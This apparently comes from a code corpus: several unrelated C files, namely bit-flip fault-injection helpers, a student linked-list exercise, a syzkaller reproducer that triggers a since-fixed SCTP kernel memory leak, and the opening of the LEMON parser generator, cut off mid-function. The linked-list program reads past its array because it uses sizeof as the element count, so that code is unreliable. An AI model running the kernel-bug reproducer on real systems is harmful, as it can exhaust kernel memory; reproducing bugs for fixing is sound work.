output[elem_idx] = output_elem;
}
}
void cffi_uint8setzero(
const int n,
const int m,
const unsigned char* input,
unsigned char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
unsigned char set0_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
if (bit_idx < m) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
set0_mask |= (1 << bit_idx);
}
}
unsigned char output_elem = input[elem_idx];
output_elem &= (~set0_mask); // negation will do all bits set to 0 to 0 and all other's to 1, so and will do the setting
output[elem_idx] = output_elem;
}
}
void cffi_uint8randomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const float* rand_src,
const unsigned char* input,
unsigned char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
unsigned char xor_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
unsigned char input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
float bit_flip_prob = (input_bit == 1) ? *one_bit_flip_prob : *zero_bit_flip_prob;
if (rand_src[8*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_uint8maskedrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const bool* mask,
const float* rand_src,
const unsigned char* input,
unsigned char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
if (!mask[elem_idx]) {
output[elem_idx] = input[elem_idx];
}
else {
unsigned char xor_mask = 0;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
unsigned char input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
float bit_flip_prob = (input_bit == 1) ? *one_bit_flip_prob : *zero_bit_flip_prob;
if (rand_src[8*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
}
void cffi_uint8individualrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const float* rand_src,
const unsigned char* input,
unsigned char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
unsigned char xor_mask = 0;
float bit_flip_prob;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
unsigned char input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
if (input_bit == 1) {
bit_flip_prob = one_bit_flip_prob[8*elem_idx + bit_idx];
}
else {
bit_flip_prob = zero_bit_flip_prob[8*elem_idx + bit_idx];
}
if (rand_src[8*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
void cffi_uint8maskedindividualrandomflip(
const int n,
const float* zero_bit_flip_prob,
const float* one_bit_flip_prob,
const int* protected_bits,
const int* len_protected_bits,
const bool* mask,
const float* rand_src,
const unsigned char* input,
unsigned char* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
if (!mask[elem_idx]) {
output[elem_idx] = input[elem_idx];
}
else {
unsigned char xor_mask = 0;
float bit_flip_prob;
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
if (!protected_bits[bit_idx]) {
unsigned char input_bit = (input[elem_idx] & (1 << bit_idx)) >> bit_idx;
if (input_bit == 1) {
bit_flip_prob = one_bit_flip_prob[8*elem_idx + bit_idx];
}
else {
bit_flip_prob = zero_bit_flip_prob[8*elem_idx + bit_idx];
}
if (rand_src[8*elem_idx + bit_idx] < bit_flip_prob) {
xor_mask |= (1 << bit_idx);
}
}
}
output[elem_idx] = input[elem_idx];
output[elem_idx] ^= xor_mask;
}
}
}
void cffi_uint8bits(
const int n,
const unsigned char* input,
bool* output
) {
#pragma omp parallel for
for (int elem_idx = 0; elem_idx < n; elem_idx++) {
for (int bit_idx = 0; bit_idx < 8; bit_idx ++) {
// first bit is lSB if little endian (Linux 32- or 64-bit)
unsigned char mask = 1 << bit_idx;
unsigned char masked_input = input[elem_idx] & mask;
unsigned char bit = masked_input >> bit_idx;
output[8*elem_idx + bit_idx] = bit;
}
}
} |
the_stack_data/709940.c | #include <stdio.h>
#include <stdlib.h>
struct cel {
int conteudo;
struct cel *seg; /* seguinte */
};typedef struct cel celula;
void Insere (int y, celula *p) {
celula *nova;
nova = malloc (sizeof (celula));
nova->conteudo = y;
nova->seg = p->seg;
p->seg = nova;
}
void Imprima (celula *lst) {
celula *p;
for (p = lst->seg; p != NULL; p = p->seg)
printf ("%d\n", p->conteudo);
}
int main(void){
celula cabeca;
celula *lst;
celula *p;
int vetor[10]={1,2,3,4,5,6,7,8,9,10};
lst = &cabeca;
int n = sizeof(vetor);
cabeca.seg = NULL;
int i ;
for(i = (n-1);i >=0 ;i--){
Insere(vetor[i],lst);
}
Imprima(lst);
system("pause");
}
|
the_stack_data/22012643.c | // memory leak in sctp_send_reset_streams
// https://syzkaller.appspot.com/bug?id=ecedaad28cb6bb86a08d6dcabd93ef76f875bfaf
// status:fixed
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
#define KMEMLEAK_FILE "/sys/kernel/debug/kmemleak"
static void setup_leak()
{
if (!write_file(KMEMLEAK_FILE, "scan"))
exit(1);
sleep(5);
if (!write_file(KMEMLEAK_FILE, "scan"))
exit(1);
if (!write_file(KMEMLEAK_FILE, "clear"))
exit(1);
}
static void check_leaks(void)
{
int fd = open(KMEMLEAK_FILE, O_RDWR);
if (fd == -1)
exit(1);
uint64_t start = current_time_ms();
if (write(fd, "scan", 4) != 4)
exit(1);
sleep(1);
while (current_time_ms() - start < 4 * 1000)
sleep(1);
if (write(fd, "scan", 4) != 4)
exit(1);
static char buf[128 << 10];
ssize_t n = read(fd, buf, sizeof(buf) - 1);
if (n < 0)
exit(1);
int nleaks = 0;
if (n != 0) {
sleep(1);
if (write(fd, "scan", 4) != 4)
exit(1);
if (lseek(fd, 0, SEEK_SET) < 0)
exit(1);
n = read(fd, buf, sizeof(buf) - 1);
if (n < 0)
exit(1);
buf[n] = 0;
char* pos = buf;
char* end = buf + n;
while (pos < end) {
char* next = strstr(pos + 1, "unreferenced object");
if (!next)
next = end;
char prev = *next;
*next = 0;
fprintf(stderr, "BUG: memory leak\n%s\n", pos);
*next = prev;
pos = next;
nleaks++;
}
}
if (write(fd, "clear", 5) != 5)
exit(1);
close(fd);
if (nleaks)
exit(1);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
check_leaks();
}
}
uint64_t r[1] = {0xffffffffffffffff};
void execute_one(void)
{
intptr_t res = 0;
res = syscall(__NR_socket, 0xa, 0x80000000000001, 0x84);
if (res != -1)
r[0] = res;
*(uint32_t*)0x20444ff8 = 0;
*(uint32_t*)0x20444ffc = 7;
syscall(__NR_setsockopt, r[0], 0x84, 0x76, 0x20444ff8, 8);
*(uint16_t*)0x20cf6fe4 = 0xa;
*(uint16_t*)0x20cf6fe6 = htobe16(0x4e23);
*(uint32_t*)0x20cf6fe8 = htobe32(0);
*(uint64_t*)0x20cf6fec = htobe64(0);
*(uint64_t*)0x20cf6ff4 = htobe64(1);
*(uint32_t*)0x20cf6ffc = 0;
syscall(__NR_setsockopt, r[0], 0x84, 0x64, 0x20cf6fe4, 0x1c);
*(uint32_t*)0x20107ff8 = 0;
*(uint32_t*)0x20107ffc = 0x10040000;
syscall(__NR_setsockopt, r[0], 0x84, 0x75, 0x20107ff8, 8);
*(uint16_t*)0x208c0000 = 0xa;
*(uint16_t*)0x208c0002 = htobe16(0x4e23);
*(uint32_t*)0x208c0004 = htobe32(0);
*(uint64_t*)0x208c0008 = htobe64(0);
*(uint64_t*)0x208c0010 = htobe64(1);
*(uint32_t*)0x208c0018 = 0;
syscall(__NR_connect, r[0], 0x208c0000, 0x1c);
*(uint64_t*)0x2060d000 = 0;
*(uint32_t*)0x2060d008 = 0;
*(uint64_t*)0x2060d010 = 0x20c38ff0;
*(uint64_t*)0x20c38ff0 = 0x20000080;
memcpy((void*)0x20000080, "\000", 1);
*(uint64_t*)0x20c38ff8 = 1;
*(uint64_t*)0x2060d018 = 1;
*(uint64_t*)0x2060d020 = 0;
*(uint64_t*)0x2060d028 = 0;
*(uint32_t*)0x2060d030 = 0;
*(uint32_t*)0x2060d038 = 0;
syscall(__NR_sendmmsg, r[0], 0x2060d000, 1, 0x8000);
*(uint32_t*)0x2081e000 = 0;
*(uint16_t*)0x2081e004 = 2;
*(uint16_t*)0x2081e006 = 1;
*(uint16_t*)0x2081e008 = 0;
syscall(__NR_setsockopt, r[0], 0x84, 0x77, 0x2081e000, 0xa);
}
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
setup_leak();
loop();
return 0;
}
|
the_stack_data/873728.c | /*
** This file contains all sources (including headers) to the LEMON
** LALR(1) parser generator. The sources have been combined into a
** single file to make it easy to include LEMON in the source tree
** and Makefile of another program.
**
** The author of this program disclaims copyright.
*/
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#ifndef __WIN32__
# if defined(_WIN32) || defined(WIN32)
# define __WIN32__
# endif
#endif
/* #define PRIVATE static */
#define PRIVATE
#ifdef TEST
#define MAXRHS 5 /* Set low to exercise exception code */
#else
#define MAXRHS 1000
#endif
char *msort();
extern void *malloc();
/******** From the file "action.h" *************************************/
struct action *Action_new();
struct action *Action_sort();
/********* From the file "assert.h" ************************************/
void myassert();
#ifndef NDEBUG
# define assert(X) if(!(X))myassert(__FILE__,__LINE__)
#else
# define assert(X)
#endif
/********** From the file "build.h" ************************************/
void FindRulePrecedences();
void FindFirstSets();
void FindStates();
void FindLinks();
void FindFollowSets();
void FindActions();
/********* From the file "configlist.h" *********************************/
void Configlist_init(/* void */);
struct config *Configlist_add(/* struct rule *, int */);
struct config *Configlist_addbasis(/* struct rule *, int */);
void Configlist_closure(/* void */);
void Configlist_sort(/* void */);
void Configlist_sortbasis(/* void */);
struct config *Configlist_return(/* void */);
struct config *Configlist_basis(/* void */);
void Configlist_eat(/* struct config * */);
void Configlist_reset(/* void */);
/********* From the file "error.h" ***************************************/
void ErrorMsg(const char *, int,const char *, ...);
/****** From the file "option.h" ******************************************/
struct s_options {
enum { OPT_FLAG=1, OPT_INT, OPT_DBL, OPT_STR,
OPT_FFLAG, OPT_FINT, OPT_FDBL, OPT_FSTR} type;
char *label;
char *arg;
char *message;
};
int OptInit(/* char**,struct s_options*,FILE* */);
int OptNArgs(/* void */);
char *OptArg(/* int */);
void OptErr(/* int */);
void OptPrint(/* void */);
/******** From the file "parse.h" *****************************************/
void Parse(/* struct lemon *lemp */);
/********* From the file "plink.h" ***************************************/
struct plink *Plink_new(/* void */);
void Plink_add(/* struct plink **, struct config * */);
void Plink_copy(/* struct plink **, struct plink * */);
void Plink_delete(/* struct plink * */);
/********** From the file "report.h" *************************************/
void Reprint(/* struct lemon * */);
void ReportOutput(/* struct lemon * */);
void ReportTable(/* struct lemon * */);
void ReportHeader(/* struct lemon * */);
void CompressTables(/* struct lemon * */);
/********** From the file "set.h" ****************************************/
void SetSize(/* int N */); /* All sets will be of size N */
char *SetNew(/* void */); /* A new set for element 0..N */
void SetFree(/* char* */); /* Deallocate a set */
int SetAdd(/* char*,int */); /* Add element to a set */
int SetUnion(/* char *A,char *B */); /* A <- A U B, thru element N */
#define SetFind(X,Y) (X[Y]) /* True if Y is in set X */
/********** From the file "struct.h" *************************************/
/*
** Principal data structures for the LEMON parser generator.
*/
typedef enum {B_FALSE=0, B_TRUE} Boolean;
/* Symbols (terminals and nonterminals) of the grammar are stored
** in the following: */
struct symbol {
char *name; /* Name of the symbol */
int index; /* Index number for this symbol */
enum {
TERMINAL,
NONTERMINAL
} type; /* Symbols are all either TERMINALS or NTs */
struct rule *rule; /* Linked list of rules of this (if an NT) */
struct symbol *fallback; /* fallback token in case this token doesn't parse */
int prec; /* Precedence if defined (-1 otherwise) */
enum e_assoc {
LEFT,
RIGHT,
NONE,
UNK
} assoc; /* Associativity if predecence is defined */
char *firstset; /* First-set for all rules of this symbol */
Boolean lambda; /* True if NT and can generate an empty string */
char *destructor; /* Code which executes whenever this symbol is
** popped from the stack during error processing */
int destructorln; /* Line number of destructor code */
char *datatype; /* The data type of information held by this
** object. Only used if type==NONTERMINAL */
int dtnum; /* The data type number. In the parser, the value
** stack is a union. The .yy%d element of this
** union is the correct data type for this object */
};
/* Each production rule in the grammar is stored in the following
** structure. */
struct rule {
struct symbol *lhs; /* Left-hand side of the rule */
char *lhsalias; /* Alias for the LHS (NULL if none) */
int ruleline; /* Line number for the rule */
int nrhs; /* Number of RHS symbols */
struct symbol **rhs; /* The RHS symbols */
char **rhsalias; /* An alias for each RHS symbol (NULL if none) */
int line; /* Line number at which code begins */
char *code; /* The code executed when this rule is reduced */
struct symbol *precsym; /* Precedence symbol for this rule */
int index; /* An index number for this rule */
Boolean canReduce; /* True if this rule is ever reduced */
struct rule *nextlhs; /* Next rule with the same LHS */
struct rule *next; /* Next rule in the global list */
};
/* A configuration is a production rule of the grammar together with
** a mark (dot) showing how much of that rule has been processed so far.
** Configurations also contain a follow-set which is a list of terminal
** symbols which are allowed to immediately follow the end of the rule.
** Every configuration is recorded as an instance of the following: */
struct config {
struct rule *rp; /* The rule upon which the configuration is based */
int dot; /* The parse point */
char *fws; /* Follow-set for this configuration only */
struct plink *fplp; /* Follow-set forward propagation links */
struct plink *bplp; /* Follow-set backwards propagation links */
struct state *stp; /* Pointer to state which contains this */
enum {
COMPLETE, /* The status is used during followset and */
INCOMPLETE /* shift computations */
} status;
struct config *next; /* Next configuration in the state */
struct config *bp; /* The next basis configuration */
};
/* Every shift or reduce operation is stored as one of the following */
struct action {
struct symbol *sp; /* The look-ahead symbol */
enum e_action {
SHIFT,
ACCEPT,
REDUCE,
ERROR,
CONFLICT, /* Was a reduce, but part of a conflict */
SH_RESOLVED, /* Was a shift. Precedence resolved conflict */
RD_RESOLVED, /* Was reduce. Precedence resolved conflict */
NOT_USED /* Deleted by compression */
} type;
union {
struct state *stp; /* The new state, if a shift */
struct rule *rp; /* The rule, if a reduce */
} x;
struct action *next; /* Next action for this state */
struct action *collide; /* Next action with the same hash */
};
/* Each state of the generated parser's finite state machine
** is encoded as an instance of the following structure. */
struct state {
struct config *bp; /* The basis configurations for this state */
struct config *cfp; /* All configurations in this set */
int index; /* Sequencial number for this state */
struct action *ap; /* Array of actions for this state */
int nTknAct, nNtAct; /* Number of actions on terminals and nonterminals */
int iTknOfst, iNtOfst; /* yy_action[] offset for terminals and nonterms */
int iDflt; /* Default action */
};
#define NO_OFFSET (-2147483647)
/* A followset propagation link indicates that the contents of one
** configuration followset should be propagated to another whenever
** the first changes. */
struct plink {
struct config *cfp; /* The configuration to which linked */
struct plink *next; /* The next propagate link */
};
/* The state vector for the entire parser generator is recorded as
** follows. (LEMON uses no global variables and makes little use of
** static variables. Fields in the following structure can be thought
** of as begin global variables in the program.) */
struct lemon {
struct state **sorted; /* Table of states sorted by state number */
struct rule *rule; /* List of all rules */
int nstate; /* Number of states */
int nrule; /* Number of rules */
int nsymbol; /* Number of terminal and nonterminal symbols */
int nterminal; /* Number of terminal symbols */
struct symbol **symbols; /* Sorted array of pointers to symbols */
int errorcnt; /* Number of errors */
struct symbol *errsym; /* The error symbol */
char *name; /* Name of the generated parser */
char *arg; /* Declaration of the 3th argument to parser */
char *tokentype; /* Type of terminal symbols in the parser stack */
char *vartype; /* The default type of non-terminal symbols */
char *start; /* Name of the start symbol for the grammar */
char *stacksize; /* Size of the parser stack */
char *include; /* Code to put at the start of the C file */
int includeln; /* Line number for start of include code */
char *error; /* Code to execute when an error is seen */
int errorln; /* Line number for start of error code */
char *overflow; /* Code to execute on a stack overflow */
int overflowln; /* Line number for start of overflow code */
char *failure; /* Code to execute on parser failure */
int failureln; /* Line number for start of failure code */
char *accept; /* Code to execute when the parser excepts */
int acceptln; /* Line number for the start of accept code */
char *extracode; /* Code appended to the generated file */
int extracodeln; /* Line number for the start of the extra code */
char *tokendest; /* Code to execute to destroy token data */
int tokendestln; /* Line number for token destroyer code */
char *vardest; /* Code for the default non-terminal destructor */
int vardestln; /* Line number for default non-term destructor code*/
char *filename; /* Name of the input file */
char *outname; /* Name of the current output file */
char *tokenprefix; /* A prefix added to token names in the .h file */
int nconflict; /* Number of parsing conflicts */
int tablesize; /* Size of the parse tables */
int basisflag; /* Print only basis configurations */
int has_fallback; /* True if any %fallback is seen in the grammer */
char *argv0; /* Name of the program */
};
#define MemoryCheck(X) if((X)==0){ \
extern void memory_error(); \
memory_error(); \
}
/**************** From the file "table.h" *********************************/
/*
** All code in this file has been automatically generated
** from a specification in the file
** "table.q"
** by the associative array code building program "aagen".
** Do not edit this file! Instead, edit the specification
** file, then rerun aagen.
*/
/*
** Code for processing tables in the LEMON parser generator.
*/
/* Routines for handling a strings */
char *Strsafe();
void Strsafe_init(/* void */);
int Strsafe_insert(/* char * */);
char *Strsafe_find(/* char * */);
/* Routines for handling symbols of the grammar */
struct symbol *Symbol_new();
int Symbolcmpp(/* struct symbol **, struct symbol ** */);
void Symbol_init(/* void */);
int Symbol_insert(/* struct symbol *, char * */);
struct symbol *Symbol_find(/* char * */);
struct symbol *Symbol_Nth(/* int */);
int Symbol_count(/* */);
struct symbol **Symbol_arrayof(/* */);
/* Routines to manage the state table */
int Configcmp(/* struct config *, struct config * */);
struct state *State_new();
void State_init(/* void */);
int State_insert(/* struct state *, struct config * */);
struct state *State_find(/* struct config * */);
struct state **State_arrayof(/* */);
/* Routines used for efficiency in Configlist_add */
void Configtable_init(/* void */);
int Configtable_insert(/* struct config * */);
struct config *Configtable_find(/* struct config * */);
void Configtable_clear(/* int(*)(struct config *) */);
/****************** From the file "action.c" *******************************/
/*
** Routines processing parser actions in the LEMON parser generator.
*/
/* Allocate a new parser action */
struct action *Action_new(){
static struct action *freelist = 0;
struct action *new;
if( freelist==0 ){
int i;
int amt = 100;
freelist = (struct action *)malloc( sizeof(struct action)*amt );
if( freelist==0 ){
fprintf(stderr,"Unable to allocate memory for a new parser action.");
exit(1);
}
for(i=0; i<amt-1; i++) freelist[i].next = &freelist[i+1];
freelist[amt-1].next = 0;
}
new = freelist;
freelist = freelist->next;
return new;
}
/* Compare two actions */
static int actioncmp(ap1,ap2)
struct action *ap1;
struct action *ap2;
{
int rc;
rc = ap1->sp->index - ap2->sp->index;
if( rc==0 ) rc = (int)ap1->type - (int)ap2->type;
if( rc==0 ){
assert( ap1->type==REDUCE || ap1->type==RD_RESOLVED || ap1->type==CONFLICT);
assert( ap2->type==REDUCE || ap2->type==RD_RESOLVED || ap2->type==CONFLICT);
rc = ap1->x.rp->index - ap2->x.rp->index;
}
return rc;
}
/* Sort parser actions */
struct action *Action_sort(ap)
struct action *ap;
{
ap = (struct action *)msort((char *)ap,(char **)&ap->next,actioncmp);
return ap;
}
void Action_add(app,type,sp,arg)
struct action **app;
enum e_action type;
struct symbol *sp;
char *arg;
{
struct action *new;
new = Action_new();
new->next = *app;
*app = new;
new->type = type;
new->sp = sp;
if( type==SHIFT ){
new->x.stp = (struct state *)arg;
}else{
new->x.rp = (struct rule *)arg;
}
}
/********************** New code to implement the "acttab" module ***********/
/*
** This module implements routines use to construct the yy_action[] table.
*/
/*
** The state of the yy_action table under construction is an instance of
** the following structure
*/
typedef struct acttab acttab;
struct acttab {
int nAction; /* Number of used slots in aAction[] */
int nActionAlloc; /* Slots allocated for aAction[] */
struct {
int lookahead; /* Value of the lookahead token */
int action; /* Action to take on the given lookahead */
} *aAction, /* The yy_action[] table under construction */
*aLookahead; /* A single new transaction set */
int mnLookahead; /* Minimum aLookahead[].lookahead */
int mnAction; /* Action associated with mnLookahead */
int mxLookahead; /* Maximum aLookahead[].lookahead */
int nLookahead; /* Used slots in aLookahead[] */
int nLookaheadAlloc; /* Slots allocated in aLookahead[] */
};
/* Return the number of entries in the yy_action table */
#define acttab_size(X) ((X)->nAction)
/* The value for the N-th entry in yy_action */
#define acttab_yyaction(X,N) ((X)->aAction[N].action)
/* The value for the N-th entry in yy_lookahead */
#define acttab_yylookahead(X,N) ((X)->aAction[N].lookahead)
/* Free all memory associated with the given acttab */
void acttab_free(acttab *p){
free( p->aAction );
free( p->aLookahead );
free( p );
}
/* Allocate a new acttab structure */
acttab *acttab_alloc(void){
acttab *p = malloc( sizeof(*p) );
if( p==0 ){
fprintf(stderr,"Unable to allocate memory for a new acttab.");
exit(1);
}
memset(p, 0, sizeof(*p));
return p;
}
/* Add a new action to the current transaction set
*/
void acttab_action(acttab *p, int lookahead, int action){
if( p->nLookahead>=p->nLookaheadAlloc ){
p->nLookaheadAlloc += 25;
p->aLookahead = realloc( p->aLookahead,
sizeof(p->aLookahead[0])*p->nLookaheadAlloc );
if( p->aLookahead==0 ){
fprintf(stderr,"malloc failed\n");
exit(1);
}
}
if( p->nLookahead==0 ){
p->mxLookahead = lookahead;
p->mnLookahead = lookahead;
p->mnAction = action;
}else{
if( p->mxLookahead<lookahead ) p->mxLookahead = lookahead;
if( p->mnLookahead>lookahead ){
p->mnLookahead = lookahead;
p->mnAction = action;
}
}
p->aLookahead[p->nLookahead].lookahead = lookahead;
p->aLookahead[p->nLookahead].action = action;
p->nLookahead++;
}
/*
** Add the transaction set built up with prior calls to acttab_action()
** into the current action table. Then reset the transaction set back
** to an empty set in preparation for a new round of acttab_action() calls.
**
** Return the offset into the action table of the new transaction.
*/
int acttab_insert(acttab *p){
int i, j, k, n;
assert( p->nLookahead>0 );
/* Make sure we have enough space to hold the expanded action table
** in the worst case. The worst case occurs if the transaction set
** must be appended to the current action table
*/
n = p->mxLookahead + 1;
if( p->nAction + n >= p->nActionAlloc ){
int oldAlloc = p->nActionAlloc;
p->nActionAlloc = p->nAction + n + p->nActionAlloc + 20;
p->aAction = realloc( p->aAction,
sizeof(p->aAction[0])*p->nActionAlloc);
if( p->aAction==0 ){
fprintf(stderr,"malloc failed\n");
exit(1);
}
for(i=oldAlloc; i<p->nActionAlloc; i++){
p->aAction[i].lookahead = -1;
p->aAction[i].action = -1;
}
}
/* Scan the existing action table looking for an offset where we can
** insert the current transaction set. Fall out of the loop when that
** offset is found. In the worst case, we fall out of the loop when
** i reaches p->nAction, which means we append the new transaction set.
**
** i is the index in p->aAction[] where p->mnLookahead is inserted.
*/
for(i=0; i<p->nAction+p->mnLookahead; i++){
if( p->aAction[i].lookahead<0 ){
for(j=0; j<p->nLookahead; j++){
k = p->aLookahead[j].lookahead - p->mnLookahead + i;
if( k<0 ) break;
if( p->aAction[k].lookahead>=0 ) break;
}
if( j<p->nLookahead ) continue;
for(j=0; j<p->nAction; j++){
if( p->aAction[j].lookahead==j+p->mnLookahead-i ) break;
}
if( j==p->nAction ){
break; /* Fits in empty slots */
}
}else if( p->aAction[i].lookahead==p->mnLookahead ){
if( p->aAction[i].action!=p->mnAction ) continue;
for(j=0; j<p->nLookahead; j++){
k = p->aLookahead[j].lookahead - p->mnLookahead + i;
if( k<0 || k>=p->nAction ) break;
if( p->aLookahead[j].lookahead!=p->aAction[k].lookahead ) break;
if( p->aLookahead[j].action!=p->aAction[k].action ) break;
}
if( j<p->nLookahead ) continue;
n = 0;
for(j=0; j<p->nAction; j++){
if( p->aAction[j].lookahead<0 ) continue;
if( p->aAction[j].lookahead==j+p->mnLookahead-i ) n++;
}
if( n==p->nLookahead ){
break; /* Same as a prior transaction set */
}
}
}
/* Insert transaction set at index i. */
for(j=0; j<p->nLookahead; j++){
k = p->aLookahead[j].lookahead - p->mnLookahead + i;
p->aAction[k] = p->aLookahead[j];
if( k>=p->nAction ) p->nAction = k+1;
}
p->nLookahead = 0;
/* Return the offset that is added to the lookahead in order to get the
** index into yy_action of the action */
return i - p->mnLookahead;
}
/********************** From the file "assert.c" ****************************/
/*
** A more efficient way of handling assertions.
*/
void myassert(file,line)
char *file;
int line;
{
fprintf(stderr,"Assertion failed on line %d of file \"%s\"\n",line,file);
exit(1);
}
/********************** From the file "build.c" *****************************/
/*
** Routines to construction the finite state machine for the LEMON
** parser generator.
*/
/* Find a precedence symbol of every rule in the grammar.
**
** Those rules which have a precedence symbol coded in the input
** grammar using the "[symbol]" construct will already have the
** rp->precsym field filled. Other rules take as their precedence
** symbol the first RHS symbol with a defined precedence. If there
** are not RHS symbols with a defined precedence, the precedence
** symbol field is left blank.
*/
void FindRulePrecedences(xp)
struct lemon *xp;
{
struct rule *rp;
for(rp=xp->rule; rp; rp=rp->next){
if( rp->precsym==0 ){
int i;
for(i=0; i<rp->nrhs; i++){
if( rp->rhs[i]->prec>=0 ){
rp->precsym = rp->rhs[i];
break;
}
}
}
}
return;
}
/* Find all nonterminals which will generate the empty string.
** Then go back and compute the first sets of every nonterminal.
** The first set is the set of all terminal symbols which can begin
** a string generated by that nonterminal.
*/
void FindFirstSets(lemp)
struct lemon *lemp;
{
int i;
struct rule *rp;
int progress;
for(i=0; i<lemp->nsymbol; i++){
lemp->symbols[i]->lambda = B_FALSE;
}
for(i=lemp->nterminal; i<lemp->nsymbol; i++){
lemp->symbols[i]->firstset = SetNew();
}
/* First compute all lambdas */
do{
progress = 0;
for(rp=lemp->rule; rp; rp=rp->next){
if( rp->lhs->lambda ) continue;
for(i=0; i<rp->nrhs; i++){
if( rp->rhs[i]->lambda==B_FALSE ) break;
}
if( i==rp->nrhs ){
rp->lhs->lambda = B_TRUE;
progress = 1;
}
}
}while( progress );
/* Now compute all first sets */
do{
struct symbol *s1, *s2;
progress = 0;
for(rp=lemp->rule; rp; rp=rp->next){
s1 = rp->lhs;
for(i=0; i<rp->nrhs; i++){
s2 = rp->rhs[i];
if( s2->type==TERMINAL ){
progress += SetAdd(s1->firstset,s2->index);
break;
}else if( s1==s2 ){
if( s1->lambda==B_FALSE ) break;
}else{
progress += SetUnion(s1->firstset,s2->firstset);
if( s2->lambda==B_FALSE ) break;
}
}
}
}while( progress );
return;
}
/* Compute all LR(0) states for the grammar. Links
** are added to between some states so that the LR(1) follow sets
** can be computed later.
*/
PRIVATE struct state *getstate(/* struct lemon * */); /* forward reference */
void FindStates(lemp)
struct lemon *lemp;
{
struct symbol *sp;
struct rule *rp;
Configlist_init();
/* Find the start symbol */
if( lemp->start ){
sp = Symbol_find(lemp->start);
if( sp==0 ){
ErrorMsg(lemp->filename,0,
"The specified start symbol \"%s\" is not \
in a nonterminal of the grammar. \"%s\" will be used as the start \
symbol instead.",lemp->start,lemp->rule->lhs->name);
lemp->errorcnt++;
sp = lemp->rule->lhs;
}
}else{
sp = lemp->rule->lhs;
}
/* Make sure the start symbol doesn't occur on the right-hand side of
** any rule. Report an error if it does. (YACC would generate a new
** start symbol in this case.) */
for(rp=lemp->rule; rp; rp=rp->next){
